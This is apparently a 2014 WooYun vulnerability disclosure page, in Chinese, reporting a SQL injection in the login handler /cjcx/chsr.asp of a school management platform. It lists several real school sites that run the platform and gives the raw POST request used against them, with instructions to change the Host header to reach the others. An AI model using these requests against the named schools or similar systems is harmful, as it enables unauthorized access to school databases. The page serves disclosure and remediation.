当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-060880

漏洞标题：某校园管理服务平台通用SQL注入漏洞

相关厂商：上海复尧计算机科技有限公司

漏洞作者： sex is not show

提交时间：2014-05-19 16:49

修复时间：2014-08-17 16:50

公开时间：2014-08-17 16:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-19： 细节已通知厂商并且等待厂商处理中
2014-05-24： 厂商已经确认，细节仅向厂商公开
2014-05-27： 细节向第三方安全合作伙伴开放
2014-07-18： 细节向核心白帽子及相关领域专家公开
2014-07-28： 细节向普通白帽子公开
2014-08-07： 细节向实习白帽子公开
2014-08-17： 细节向公众公开

简要描述：

RT

详细说明：

程序名称：智慧校园管理服务平台
开发商：上海复尧计算机科技有限公司（http://www.foyoedu.com/）
影响用户列表：

http://www.wzew.cn/cjcx/ 温州市第二外国语学校--学校信息化工作平台
http://www.ahczzx.cn:8000/cjcx/index.aspx  滁州中学 智慧校园管理平台
http://www.syun.edu.sh.cn/cjcx/index1.asp 上海市少云小学 智慧校园管理平台
http://www.kj.edu.sh.cn/cjcx/index1.asp   学校信息化工作平台
http://exam.fdfz.cn/cjcx/index1.asp       学校信息化工作平台
http://218.78.241.94/cjcx/index1.asp     上海市奉贤区曙光中学 智慧校园管理平台
http://yyzx.ijd.cn/cjcx/index1.asp        学校信息化工作平台
http://222.66.36.96/cjcx/                上海市省吾中学 智慧校园管理平台
http://www.2fzszxy.fudan.edu.cn/cjcx/index1.asp学校信息化工作平台


以上是搜索到的、因为开发公司站点出错，其他案例暂未确定
## 下面来看漏洞成因：
漏洞文件：/cjcx/chsr.asp
在对用户登录过程中，userid 参数未处理造成SQL注入、
##漏洞利用，登录时抓包、会跳到/cjcx/chsr.asp 来验证、
例1：
POST数据包：

POST /cjcx/chsr.asp HTTP/1.1
Host: exam.fdfz.cn
Proxy-Connection: keep-alive
Content-Length: 79
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://218.78.241.94
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://218.78.241.94/cjcx/index1.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,cs;q=0.2,es;q=0.2
Cookie: cok=userid=&xx=%B7%EE%CF%CD%C7%F8%CA%EF%B9%E2%D6%D0%D1%A7&leibie=jiaoshi&xuexid=; ASPSESSIONIDASDRRCTS=BOMFHOBCNLDDBBDALMGNJDKJ
userid=%D6%EC%AC%92%E2%F9&username=%D6%EC%AC%92%E2%F9&pwd=111111&leibie=jiaoshi


1.jpg


成功获得数据库名：current database: 'exam'

1.jpg


可获取表信息；比较慢，就不去演示了

1.jpg


例2：http://218.78.241.94/cjcx/index1.asp
只需要把例1中的post包中的Host参数改一下就行了、

POST /cjcx/chsr.asp HTTP/1.1
Host: 218.78.241.94
Proxy-Connection: keep-alive
Content-Length: 79
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://218.78.241.94
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://218.78.241.94/cjcx/index1.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,cs;q=0.2,es;q=0.2
Cookie: cok=userid=&xx=%B7%EE%CF%CD%C7%F8%CA%EF%B9%E2%D6%D0%D1%A7&leibie=jiaoshi&xuexid=; ASPSESSIONIDASDRRCTS=BOMFHOBCNLDDBBDALMGNJDKJ
userid=%D6%EC%AC%92%E2%F9&username=%D6%EC%AC%92%E2%F9&pwd=111111&leibie=jiaoshi


1.jpg


1.jpg


例3：http://yyzx.ijd.cn/cjcx/index1.asp
POST数据包修改同上、替换Host 参数即可

1.jpg


例4：http://222.66.36.96/cjcx/
POST数据包修改同上、替换Host 参数即可

1.jpg

漏洞证明：

1.jpg

修复方案：

参数过滤

版权声明：转载请注明来源 sex is not show@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：14

确认时间：2014-05-24 12:54

厂商回复：

最新状态：

暂无